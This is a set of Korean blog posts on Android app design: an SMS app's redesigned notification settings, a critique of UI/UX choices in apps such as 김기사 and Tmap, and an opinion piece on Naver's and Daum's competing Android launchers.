이 화면이 나온 이후에 내부 사용자 테스트 결과는 상단 이미지를 안내로 인식하지 않고 클릭하려는 경향을 보였다는 것입니다. 또한, 하단의 팝업/상태바 표시를 클릭했을 때 상단 안내 이미지에 변화가 있어야 한다고 기대를 하는데 막상 안내 이미지에서 아무런 동작이 없으니 혼란스럽다는 의견도 있었습니다.

짜잔~ 이에 사용자가 이미지를 클릭하여 설정을 변경할 수 있도록 직관적으로 알림 설정 UI를 변경하였습니다.

메인 화면에 보이는 메시지함/거래내역/미확인 번호 탭에 대해서 알림 설정을 변경하는데 쉽고 직관적이고 슬라이딩 애니메이션을 추가하여 동적인 화면을 구성하였습니다.

현재 진행하는 프로젝트에서 나름 바람직한 Android UI를 만들기 위해서 프로젝트에 참여하는 많은 분들이 고생하고 계십니다. 제가 보여드린 개선된 화면과 문구는 정말로 많은 고민의 결과로 나온 것들입니다. 만들어 놓은 것을 가지고 이것이 나쁘다 저것이 나쁘다 말하기는 쉽습니다. 하지만, 문제점을 개선하기 위한 ‘새로운 길‘을 찾는 일은 쉽지 않습니다. 프로젝트를 진행하시면서 벽에 부딪혔을때 무조건 쉬운 길을 선택하지 마시고 어렵더라도 옳은 길을 선택하시기를 바라고, 제 경험과 이 글이 그 길을 찾는데 도움이 될 수 있다면 좋겠습니다.

이 글에서 보여드린 개선 사항은 이제 첫걸음일 뿐입니다. 아직 갈 길이 멀고 할 일도 많습니다. Android에서 쓸만한 SMS 앱이 없어서 제대로 만들어 보고 싶습니다. Google Play에서 앱을 다운로드해서 써보시고 바꾸고 싶은 부분이 있다면 언제든지 피드백을 주세요. 더 좋은 앱을 만나실 수 있습니다. 저희가 개선하는 과정이 궁금하신 분들도 저희 앱에 관심을 가져주시면 큰 힘이 됩니다.

더 나은 Android application 만들기

iOS가 초기에 mobile 생태계를 선점하면서 기획을 비롯한 UI / UX, Design 실무자는 물론 개발자들까지 iOS의 영향력 아래서 자유로울 수 없었기 때문에 Android application들이 iOS의 UI를 따라한 사례가 많고, 각기 다른 플랫폼에 최적화된 기획안을 따로 만드는 것도 현실적으로 어렵다보니 Android UX에 충실한 application이 거의 없습니다. 또한, Android 플랫폼에 충실하게 개발하고 싶거나 공부를 하고 싶어서 Android UI/UX에 참고할 수 있는 Best Practice 사례를 추천해달라고 종종 요청 받아도 딱히 추천해줄 수 있는 사례가 없는 것이 안타까운 현실입니다.

그마나, ICS 버전부터 Google이 Android Design site를 통해서 기본적인 Guideline을 제시하고 있지만 이를 숙지하는 사람도 별로 없고, 개발자들조차 구글의 Android 개발자 블로그 를 유심히 보는 것 같지 않습니다.

이 글에서는 시중에 유통되는 application의 사례들을 통해서 바람직한 Android UI/UX에 대한 방향을 제시하고자 합니다.

컨텐츠 접근을 쉽게

첫번째는 OKJSP 기존 앱의 초기화면이고, 두번째는 개선된 앱의 초기화면 입니다. 두 앱의 가장 큰 차이는 초기 화면의 컨텐츠의 접근성입니다.

첫번째 앱은 게시판을 선택하고 글을 선택하는 최소한 2단계의 탭이 필요로 하지만, 두번재 앱은 바로 글을 선택할 수 있습니다.
첫번째 앱은 게시판 목록에서 새글이 올라온 게시판을 구분할 수 없기 때문에 사용자가 모든 게시판 또는 자주가는 게시판을 선택을 해야 글 목록을 확인 가능하고 그 마저도 새 글의 여부가 명확하지 않아서 미처 기억하지 않은 제목의 경우에 이미 읽은 게시물을 다시 읽을 수도 있는 상황이 발생할 수 있습니다. 반면, 두번째 앱은 ‘최근 게시물’을 먼저 보여주기 때문에 최신 글의 접근성이 높아졌고, 이미 읽은 글에 대해서 Dim 처리를 했기 때문에 이미 읽은 글과 읽지 않은 글의 구분이 명확해졌습니다.
두번째 앱은 ‘햄버거와 지하’ 문제에도 불구하고 menu drawer 기능을 적용하였습니다. 이는 facebook과 마찬가지로 OKJSP도 게시판 목록이 좌측에 위치하고 게시판 목록을 클릭해서 게시판에 이동하는 Web의 경험을 Menu Drawer(또는, Hamburger Menu)를 통해서 Seamless하게 구현하였습니다. 또한, 현재 선택된 게시판을 Highlighting하여 사용자가 메뉴에서 길을 잃는 일이 없도록 표시했습니다.

키보드 – 바로 보여주기

Screenshot_2013-05-05-00-11-49

‘김기사’ application에서 ‘리스트’ 목록을 선택했을 때 화면입니다. 하단 ‘리스트’ 버튼을 통해서 목록에 진입하면 첫번째 화면이 보여지는데 두번째 화면과 같이 에디트 창에 커서를 배치하고 키보드를 보여주는 것이 표준 동작입니다. 물론 목록을 많이 보여주려는 목적도 있을 수 있겠으나 목록이 많다면 검색창에서 자동완성으로 해결하는 것이 더 바람직한 해결책이라고 봅니다.

키보드 – ACTION 적절하게 정의 하기

Android의 키보드 우측 하단 키는 ‘ACTION’을 정의할 수 있습니다. ‘이동‘, ‘검색‘, ‘다음‘, ‘완료‘ 등으로 다양하게 적용 가능하고, 위 화면을 보시면 Google 검색 창에서는 키보드가 ‘검색’으로 적용되고 크롬 브라우저에서 URL 주소를 입력하면 ‘이동’으로 적용되는 것을 알 수 있습니다. 김기사 앱의 경우에는 리스트에서 장소를 검색함에도 불구하고 ‘검색’이 아닌 ‘완료’로 표시 되어 있습니다. 단, 완료는 특별한 추가 동작 없이 키보드를 닫는 작업을 수행합니다.

키보드의 ACTION을 적절하게 적용하면 ‘완료’ 대신에 ‘이동’, ‘검색’, ‘다음’ 등의 직관적인 키워드에 의해서 수행되는 작업을 명시적으로 알려줄 뿐 아니라 보통 화면 상단에 위치하는 에디트 입력 창이나 동작 버튼까지 멀리 터치하지 않아도 키보드 반경 내에서 다음 동작을 바로 수행할 수 있는 장점이 있습니다.

예측 가능한 동작 연결하기 – 검색결과 예외처리

위 화면과 같이 목록에 없는 결과를 입력했을 때, ‘김기사’앱은 아무런 결과를 보여주지 않았지만 우측의 Foursquare는 검색 결과가 없는 경우 빈화면 또는 오류/경고 팝업을 보여주는 대신에 목록을 바로 추가할 수 있는 경로를 제공하고 있습니다.

사실 김기사 앱의 ‘리스트’라는 화면은 명확하게 정의하자면 ‘저장된 위치 목록’ 또는 ‘즐겨찾기’인데 ‘리스트’라는 이름으로 인해서 학습되지 않은 사용자에게 검색 결과를 보여주는 것인지 기존에 저장된 목록을 검색하는 것인지 모호한 점이 있기는 합니다.

Option menu / Context menu 사용하기

김기사앱의 목록 화면은 상단 제목의 좌측에는 [+] 버튼이 우측에는 [편집] 버튼이 있는 아주 기형적인 구조를 가지고 있습니다.

사실 [+] 버튼은 위에서 언급한 대로 자동 완성 기능에 의해서 목록에서 찾고 목록에 없는 경우에 검색으로 연결하는 것이 자연스러운 흐름이고, 사용자가 명시적으로 추가하는 동작을 원하는 경우에는 Option Menu에 기능을 추가하는 것이 훨씬 자연스러운 접근입니다.

그리고, [편집]버튼은 상당히 쌩뚱맞은데 [편집] 버튼에서 지원하는 기능이라고는 [삭제]와 [숨기기]가 고작입니다. 이 정도는 롱클릭에 의한 Context menu로 지원했다면 [편집]이라는 쌩뚱맞은 화면을 만들지 않아도 되었지 않나 생각합니다.

김기사 앱은 전체적으로 메뉴키를 지원하지 않는 구조인데, 앱의 화면에 버튼을 비롯한 UI 요소가 많은 것은 사용자에게 앱이 복잡하거나 어렵다고 느끼게 할 수 있기 때문에 앱을 주로 사용하는 기능에 대해서만 화면의 주요 요소로 배치하고 나머지 부가적인 기능은 메뉴키를 이용한 option menu로 처리하는 것이 좋습니다.

그리고, ‘리스트’ 화면에서 해당 목록을 클릭하면 해당 장소에 대한 세부 내용이 보이는데 여기에도 몇가지 문제가 있습니다.

리스트 화면의 목록은 그대로 존재하면서 추가 정보가 보여줘야 하는데 목록이 없어지면서 상세 정보만 보여서 헷갈리게 할 수 있습니다.
클릭한 목록의 상세 정보을 닫고 최초 목록 화면을 보고 싶을 때 되돌아갈 수 있는 경로가 없습니다.
원래 목록으로 돌아가고 싶어서 [BACK]키를 누르면 앱이 우발적으로 종료되기 때문에 종료 팝업을 띄워서 이 문제를 대응하고 있습니다.
정상적인 상황이라면 목록의 상세 정보에서 [닫기] 기능을 제공하는 것이 맞습니다.
Context menu를 인지하지 못하는 사용자를 위해서 상세 정보에서 [숨기기], [삭제] 기능까지 부가적으로 제공하면 더욱 좋습니다.
목록의 상세 정보에 버튼이나 기능 요소가 많아서 사용자가 어려움을 겪을 수 있다면 [more] 버튼이나 유사한 메타포를 통한 추가 기능 지원이 좋습니다.

Android에서 context menu는 익숙한 사용자에게 빠른 사용성을 제공하기 때문에 쉬운 사용성을 위한 우회로와 함께 지름길을 같이 제공하는 것도 중요합니다.

흐름을 끊지 않기

이 글의 대부분은 ‘김기사’앱으로 사례를 들고 있지만, 제가 아는 가장 나쁜 UI/UX를 가진 앱은 단연 ‘Tmap’입니다. 그 중에서 가장 큰 문제는 주행하기 위해서 안전운전 도우미를 실행하면 거의 항상 만나는 팝업이 DB 업데이트 다운로드 확인 팝업입니다. 안전운전 DB의 업데이트를 해당 기능의 실행 시점에 그것도 팝업으로 물어 보면서 흐름을 끊는 것이 맞는지 정말 의구심이 드는 부분입니다.

저런 상황이라면 우선 안전운전 도우미를 실행하고 Notification Bar에 DB 업데이트 관련 내용을 띄운다면 운전 시작하는 시점에 기다리거나 흐름이 끊어짐이 없이 바로 안전운전 도우미 사용이 가능하고 Notification Bar를 통해서 사용자가 DB 업데이트 시점을 조절할 수 있고 운전 중에 핸드폰을 조작해야 하는 최악의 경우 상황도 피할 수 있습니다.

팝업은 정말로 필요할 때만…

엄밀하게 따지면 현재 사용되고 있는 대부분의 경우에 팝업은 필요하지 않습니다.

심지어 추가된지 얼마 안되는 facebook application 작성 창의 팝업도 꼭 있어야 하는 것인지에 대한 의구심이 있습니다. 물론, 작성된 내용을 유실하거나 실수로 BACK키를 누르는 경우에 불편함이 있기 때문에 팝업을 띄우는 것이 맞다고 생각할 수 있고 마찬가지로 Tmap의 경로 취소 팝업도 동일 선상에서 사용자의 실수를 보완하는 용도로 사용했으리라 봅니다만, 작성 내용을 자동 저장했다가 작성창에 다시 진입했을 때 저장한 내용을 불러오는 흐름이 더 자연스럽지 않았을까 생각합니다. Tmap의 경우도 최근 목적지에 경로 정보가 이미 있기 때문에 굳이 경로 취소 팝업이 아니더라도 데이터를 유실하는 것이 아니기 때문에 팝업이 저 상황을 해결하는 최선의 UI라고 보지 않습니다.

나쁜 팝업 vs. 좋은 팝업

Tmap 3.x 버전의 초기 구동 화면입니다. SKT 전용 단말의 경우에는 WiFi가 연결되더라도 3G를 사용할 수 있도록 변형되었기 때문에 문제가 없는데 Galaxy Nexus같은 GED 단말은 통신사 전용 기능이 적용되지 않아서 WiFi 상태에서는 사용자 인증을 할 수 없기 때문에 3G로 변경해서 사용하라는 안내 문구를 보여주고 있습니다. 그런데 여기서 [확인]버튼을 누르면 Tmap 이 그냥 종료됩니다. 상단 Notification Bar를 통해서 설정에 진입해서 WiFi를 끄고 3G로 변경을 해도 네트워크 변경을 감지하지 않고 [확인]버튼을 누르면 역시 그냥 종료됩니다. 여기서 사용자가 어떻게 [확인]이 앱이 종료된다고 상상할수 있을까요?

그런데, Android application은 WiFi를 직접 켜고 끌 수 있기 때문에 [확인]버튼 대신 [WiFi끄기] 버튼을 배치했다면 application을 종료했다가 다시 실행하지 않아도 되고, 해당 상황에서 네트워크 변화를 감지해서 3G가 사용 가능하다면 팝업이 자동으로 사라지면서 Tmap 메인 화면으로 진입하는 것이 가장 매끄러운 진행입니다.

또 하나의 아이러니는 진입할 때 WiFi를 끄고 진입했다가 지도 업데이트를 위해서 해당 화면으로 진입하면 WiFi를 켜라고 안내 문구만 나오고, 여기에도 역시 WiFi 켜거나 끄는 옵션이 존재하지 않습니다.

팝업 문구 역시 ‘WiFi 상태에서는 운전 중 네트워크 연결이 불안정 할 수 있습니다” 인데 이걸 어떻게 해석해야 할까요? 정말로 WiFi 상태에서 운전 중에는 네트워크 연결이 불안정한가요? 정확한 문구는 ‘이 단말은 WiFi 연결 상태에서는 Tmap 정보를 얻어올 수 없습니다. WiFi를 해제하고 사용하세요.“가 적합할 것입니다.

불필요한 정보 숨기기

‘등록 되었습니다.’, ‘성공했습니다.’ 등의 팝업을 보여주는 application들이 많이 있습니다. 이런 성공에 대한 알림은 Toast로 표시하거나 사용 흐름을 끊지 않는 다른 UI적 요소를 사용해서 보여주고, 오류가 발생했다고 해도 사용자가 대응할 수 없는 상황에서는 application이 최대한 대응을 하고 불가피하게 사용자의 선택이나 대응이 필요한 시점에 팝업을 띄워야지 오류에 대해서 무책임하게 사용자에게 책임을 떠 넘기는 팝업은 보여주지 말아야 합니다.

또한, 김기사에서 주행 중에 교통변화 자동 감지 설정이 켜져 있는 경우 ‘기존 경로로 안내합니다.‘라는 음성 안내가 있는데 이런 경우에는 교통변화 자동 감지를 통해서 경로가 변경되었을 경우에만 알려주는 것이 적절하고, 기존에 사용자가 알고 있는 경로 정보에서 변화가 없는데 ‘변화가 없다‘는 사실을 굳이 알려줄 필요는 없습니다.

예전 사례입니다만. 충전기를 연결한 상태에서 Tmap을 주행하는 도중에 충전 완료 팝업을 앱이 아닌 단말기에서 띄운 경우입니다.

충전이 완료되었다는 것이…

사용자가 꼭 알아야 하는 정보인가요?
사용자로부터 [확인] 버튼을 꼭 받아야 할 만큼 중요한가요?
팝업으로 알리지 않으면 사용자가 알 수 없는 정보인가요?
충전기 연결을 안 빼면 무슨 일이 발생하나요?

불필요한 정보를 보여주는 것이 불필요함에서 끝나지 않고 팝업을 닫기 위해서 운전중 핸드폰을 터치해야 하며 운전 중이 아니더라도 충전기를 연결한 상태에서는 텍스트 입력이 끊기는 등 사용자를 귀찮게 하는 대표적인 사례입니다.

사용자를 무작정 기다리지 않게 하기 – 비동기

개발자들에게 많이 알려진 기능 중에서 일반적으로 가장 보기 힘든 기능이 비동기 기능이 아닌가 싶습니다.

Path에서 적용된 이후에 facebook 포스팅에도 적용되면서 많이 알려졌지만 실제로 구현에 어려움이 많고 기획자가 잘 모르는 기능이라 기획 요구사항에 포함되지 않는 점도 있겠지만 오래 걸리는 작업을 progressbar를 띄워서 무작정 사용자를 기다리게 하는 것 보다는 Notification Bar를 통해서 비동기 작업을 진행하고 사용자는 끊김 없이 다른 기능을 계속 사용할 수 있도록 해야 합니다.

사용자를 가르치지 말라

이미지는 ‘포쿠‘라는 포인트와 쿠폰 application입니다. 상단 타이틀바에 있는 ‘가맹점’, ‘POCOU’, ‘포쿠+’가 있는 곳이 화면을 전환하는 Tab bar 역할을 수행하는데 다음과 같은 문제가 있습니다.,

기존에 사용되지 않던 생소한 방식이라 사용자가 저 위치를 클릭해서 화면을 전환을 해야 한다고 생각하지 않을 것이라는 점
☞ 완전히 다른 기능을 수행하는 것이 아니라 기존에 있는 기능을 수행하는 것이라면 사용자에게 학습된 UI를 사용하거나 유사한 메타포어를 가지는 디자인을 사용하는 것이 좋습니다.
실제로 상단 Tab을 클릭하면 화면이 좌/우로 슬라이딩 되면서 변환되는데 Tab바가 아닌 하단 화면에서 터치 Swipe 동작으로는 화면이 전환되지 않는 점
☞ UI 요소에 대해서 사용자가 어떻게 반응하고 다음 동작을 할지 예상을 할 필요가 있습니다. 차라리 좌/우 슬리이딩 애니메이션이 없다면 하단 화면을 슬라이딩해서 바꾸려는 시도를 하지 않았었겠지만 애니메이션 요소에 의해서 오히려 사용자를 혼란스럽게 하고 있습니다.

※ 블로그 발행 후 피드백이 있어 업데이트합니다.

Android Launcher 전쟁(?) 관람기

최근 여러 업체들이 약속이나 한 듯이 각자의 전략을 담은 Android Launcher들을 발표했습니다.

각 사의 launcher 발표에 대한 첫 느낌은 Web 기반의 인터넷 서비스 업체들이 mobile, 특히 Android에 대한 이해도가 높아졌다는 것이고, 이는 기존 iOS에서 앱기반으로 사용자 니즈를 충족하는 것과는 다른 나름대로 차별화된 전략을 구사하기 시작했다는 것을 의미하기 때문입니다.

Android 초기에는 Google과 제조사에서 제공하는 launcher는 정말로 application을 실행하기 위한 launcher 본연의 역할에만 충실했을뿐, 가장 개인화된 device인 phone의 Home(=Launcher) 역할을 수행하기에는 불편함이 많았고 이 틈새를 초기부터 집요하게 공략해서 성공한 어플이 ‘GO Launcher‘라고 볼 수 있습니다. GO Launcher가 나름 탄탄하게 시장을 구축하고 있을 때에도 인터넷 서비스 업체들은 launcher의 존재를 인지하지 못하고 홈에 검색 위젯을 설치하도록 유도하거나 독립 앱으로 포털의 경험을 mobile로 이식하려는 시도를 했었고 심지어 구글을 공정위에 제소하는 등의 법적인 대응까지 진행했었습니다.

어쨌거나 결과적으로 인터넷 서비스 업체들이 launcher의 존재를 인지하고 투자를 한다는 것은 매우 긍정적인 신호이지만 지금은 좀 늦지 않았나 하는 생각도 있습니다. 왜냐하면 Android 초기 상황과는 달리 Google에서 기본으로 제공하는 Home의 주요 기능이 플랫폼 기능과 밀착되기 시작했고 제조사들도 Home을 개발하는데 좀 더 많은 노력을 들이기 시작했다는 점 때문입니다.

facebook Home은 그림이 너무 크고 개념이 너무 멀리 나아가서 이 글에서는 네이버와 다음 위주로 이야기 해보고자 합니다.

제가 보기엔 현재 launcher에 대한 투자는 ‘밑 빠진 독에 물 붓기‘입니다. 그 이유를 열거하자면,

Android의 platform 기능에 Home기능이 밀착될 수록 3rd party Home은 platform 진화를 따라가는데 버거울 것입니다.
이는 기존에 Microsoft가 Windows OS에 application 기능을 밀착시키면서 경쟁 Office 제품군과 Borland 같은 Visual C/C++개발툴 경쟁 업체까지 몰락시킨 전례와 유사한 상황이 될 것이라고 보기 때문입니다. 또한, Android가 Open Source Project라고 하지만 Linux와 Platform 등의 source만 공개하고 Launcher source를 비롯한 주요 source들은 공개하지 않고 있어서 3rd party가 따라가기에는 생각보다 많은 공수가 투입될 것입니다.

Google의 밥줄이기 때문입니다.
Google이 GMS license를 통해서 Home에 Google 검색을 기본으로 탑재하고 있는데, Android 플랫폼에 대한 엄청난 투자에도 불구하고 3rd party가 Home을 점령해서 Google의 검색 시장을 뺏어가는 것을 가만히 두고 볼리가 없습니다. 혹자가 얘기하는 Google이 3rd party Home이 Google Play Store에 등록되는 것을 거부할 것이라는 등의 방법 말고도 fast mover 전략을 통해서 3rd party Home이 따라오기 충분히 어렵게 할 수 있습니다. 어쨌거나 3rd party Home은 단말기를 교체했을 때 새로 다운로드 받아서 설치해야 하는 번거로움이 여전히 존재하기 때문입니다.

제조사 변수
제조사가 인터넷 서비스 업체만큼 Home에 대해서 절박하거나 Google 처럼 밥줄이 달려있거나 하지 않지만 그들 나름대로의 치열한 시장 점유율 경쟁을 위해서 3rd party Home이 가지는 장점들을 단말기 출시 시점에 기본 Home에 이식할 것이고, 그 외에도 제조사는 Home을 비롯한 기본 application에 루트권한을 부여하는데 제약이 있는 것이 아니기 때문에 3rd party가 상상할 수 있는 그 이상을 언제든지 보여줄 수 있는 기득권이 있는 상태입니다. 물론, HTC가 Sense UI를 적용하고 삼성이 TouchWiz라는 독자적인 UI 노선을 고집하면서 Android platform 진화에 상대적으로 느리게 따라오는 취약점은 있지만 언제든지 보완이 가능한 취약점이기 때문에 3rd party Home이 제조사를 아프게 하기는 힘들 것입니다.

Google과 제조사가 고민하지 않는 “왜 런처를 바꿔야 하지?”에 대한 질문과 고민을 3rd party Home은 끊임없이 해야 합니다.
3rd party Home이 단기간 차별화 전략을 통해서 성공할 수 있겠지만 Home에 대한 완성도는 어느 시점 이후에는 대동소이할 것이고 사용자는 굳이 런처를 바꾸지 않아도 불편함을 느끼지 않는 시점에 도달하게 될 것입니다.

이러한 이유로 3rd party Home은 ‘밑빠진 독에 물 붓기’일 것이며 완벽한 레드오션이라고 생각합니다.

다만, 네이버와 다음 같은 회사는 밑빠진 독에 물을 부어서라도 각자의 플랫폼으로 사용자를 유도하는데 충분히 효과적인 전략이기 때문에 하는 것이 맞다고 봅니다. 그렇지만 GO Launcher의 성공을 보며 별도 플랫폼 없이 독자 application만으로 승부하고자 한다면 도시락 싸가지고 다니면서 말리고 싶습니다.

네이버와 다음도 기존에 검색 위젯을 바탕화면에 설치하고자 했던 단순한 시각에서 벗어나서 Home으로 눈을 돌린 만큼 사용자들에게 Home을 설치하도록 유도하는 단순 마케팅에서 벗어나서 Home에서 시작하는 Android의 UX를 어떻게 ‘네이버스럽게’, ‘다음스럽게’ 전개할지에 대한 진지한 고민이 병행되어야 한다고 생각합니다.

네이버와 다음의 Home 1차 전쟁은 투자를 통해서 대체제를 확보한 다음보다는 아무래도 개발자를 내부에 영입한 네이버의 1차 승리가 아닐까 생각합니다. 물론 네이버의 Home이 제조사의 것이나 마켓에 있는 여러 Home보다 낫다고 생각하지는 않습니다만 내부 서비스와 연계하여 전략 방향을 일치시킬 수 있다는 점에서는 유리한 고지를 점령한 정도라고 생각합니다. 또한, 네이버나 다음이나 뭐가 그리 급했는지 완성도 떨어지는 앱을 출시해서 사용자에게 실망을 안겨준 점은 앞으로 Home의 확산에 큰 장애 요소가 될 것 같습니다.

네이버나 다음이 밑빠진 독에 물을 부어서라도 mobile 시장, 특히 Android 시장에서 패권을 차지하기 위한 마중물의 역할을 충실히 수행하게 하고 싶다면 내부에서 개발자들이 GED폰을 ‘레퍼런스폰‘이라고 부르는 무개념부터 바꿔야 하고 Home에서 시작되는 NED(Naver Experienced Device), DED(Daum Experienced Device)에 대한 개념 정립부터 시작하는 것이 맞는 순서라고 봅니다.

ps. 글을 올린 이후 받은 몇가지 피드백에 대해서 보완합니다.
1. Android 기본 Launcher는 Open source에 포함되어 있습니다. (제가 이 부분은 미처 몰랐습니다)
2. 제조사 소스에는 해당 부분을 공개하지 않습니다.